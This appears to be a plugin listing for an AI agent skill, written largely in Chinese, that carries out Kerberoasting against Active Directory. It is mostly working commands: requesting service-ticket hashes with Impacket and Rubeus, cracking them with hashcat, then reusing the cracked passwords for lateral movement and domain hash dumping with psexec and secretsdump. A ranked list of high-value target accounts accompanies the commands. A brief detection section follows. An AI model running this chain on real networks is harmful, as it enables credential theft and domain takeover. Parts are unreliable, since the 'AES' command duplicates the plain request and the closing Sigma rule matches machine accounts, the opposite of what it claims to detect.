Executes Kerberoasting attacks with Impacket's GetUserSPNs.py to request, extract, and offline-crack Kerberos TGS tickets from Active Directory service accounts. For red-teaming Active Directory environments.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据来针对活动目录服务账户。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,可进行离线暴力破解。Impacket 的 `GetUserSPNs.py` 是在 Linux 上执行 Kerberoasting 攻击的标准工具。
Performs Kerberoasting attacks on Active Directory service accounts: enumerates SPN users, requests TGS tickets, cracks hashes offline with Hashcat or John, verifies credentials.
Performs Kerberoasting attacks on Active Directory service accounts using Impacket's GetUserSPNs.py to request TGS tickets for offline cracking. For authorized pentesting and red teaming.
Extracts Kerberos TGS tickets from Active Directory service accounts using Impacket's GetUserSPNs.py and cracks them offline for authorized pentesting and red-teaming.
Share bugs, ideas, or general feedback.
Kerberoasting(MITRE ATT&CK T1558.003)是一种凭据访问技术,通过为具有服务主体名称(SPN)的账户请求 Kerberos TGS(票据授予服务)票据来针对活动目录服务账户。TGS 票据使用服务账户的 NTLM 哈希(RC4 或 AES)加密,可进行离线暴力破解。Impacket 的 GetUserSPNs.py 是在 Linux 上执行 Kerberoasting 攻击的标准工具。
pip install impacket)| 技术 ID | 名称 | 战术 |
|---|---|---|
| T1558.003 | 窃取或伪造 Kerberos 票据:Kerberoasting | 凭据访问 |
| T1087.002 | 账户发现:域账户 | 发现 |
| T1110.002 | 暴力破解:密码破解 | 凭据访问 |
# 列出所有具有 SPN 的用户账户(不请求票据)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1
# 输出示例:
# ServicePrincipalName Name MemberOf PasswordLastSet
# ---------------------------- ---------- -------------------------------- -------------------
# MSSQLSvc/SQL01.corp.local svc_sql CN=Domain Admins,CN=Users,... 2023-01-15 10:30:22
# HTTP/web01.corp.local svc_web CN=Web Admins,CN=Users,... 2024-03-20 14:15:00
# HOST/backup01.corp.local svc_backup CN=Backup Operators,CN=Users,... 2022-06-01 08:45:10
# 为所有 Kerberoastable 账户请求 TGS 票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# 为特定 SPN 请求票据
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request-user svc_sql
# 输出格式(与 Hashcat 兼容):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...
# 保存到文件用于破解
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile kerberoast_hashes.txt
# 使用 NTLM 哈希代替密码(哈希传递)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
-dc-ip 10.10.10.1 -request -outputfile hashes.txt
# 请求 AES 票据(如果可用)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
-request -outputfile hashes.txt
# Hashcat - RC4 加密票据(模式 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# Hashcat - AES-256 加密票据(模式 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
# 查看结果
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!
# 验证破解的凭据
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local
# 检查本地管理员访问权限
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth
# 使用凭据进行横向移动
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local
# 如果服务账户是域管理员
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm
# 对所有账户执行 Kerberoasting
.\Rubeus.exe kerberoast /outfile:hashes.txt
# 针对特定用户
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt
# 仅请求 RC4 票据(更容易破解)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# 使用 AES 执行 Kerberoasting
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt
Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt
Kerberoasting 的高价值目标:
| 账户类型 | 原因 | 风险 |
|---|---|---|
| 域管理员中的服务账户 | 直接通往域入侵的路径 | 严重 |
| SQL 服务账户(MSSQLSvc) | 通常具有过多权限 | 高 |
| Exchange 服务账户 | 可访问所有邮件 | 高 |
| AdminCount=1 的账户 | 之前/当前具有特权 | 高 |
| 密码过旧的账户 | 更可能使用弱密码 | 中 |
事件 ID 4769 - Kerberos 服务票据请求
- 监控:当预期为 AES 时使用加密类型 0x17(RC4-HMAC)
- 监控:单个用户在短时间内请求大量 TGS 票据
- 监控:来自异常源 IP 的服务票据请求
title: 潜在的 Kerberoasting 活动
status: stable
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4
ServiceName|endswith: '$'
filter:
ServiceName: 'krbtgt'
condition: selection and not filter
level: medium
tags:
- attack.credential_access
- attack.t1558.003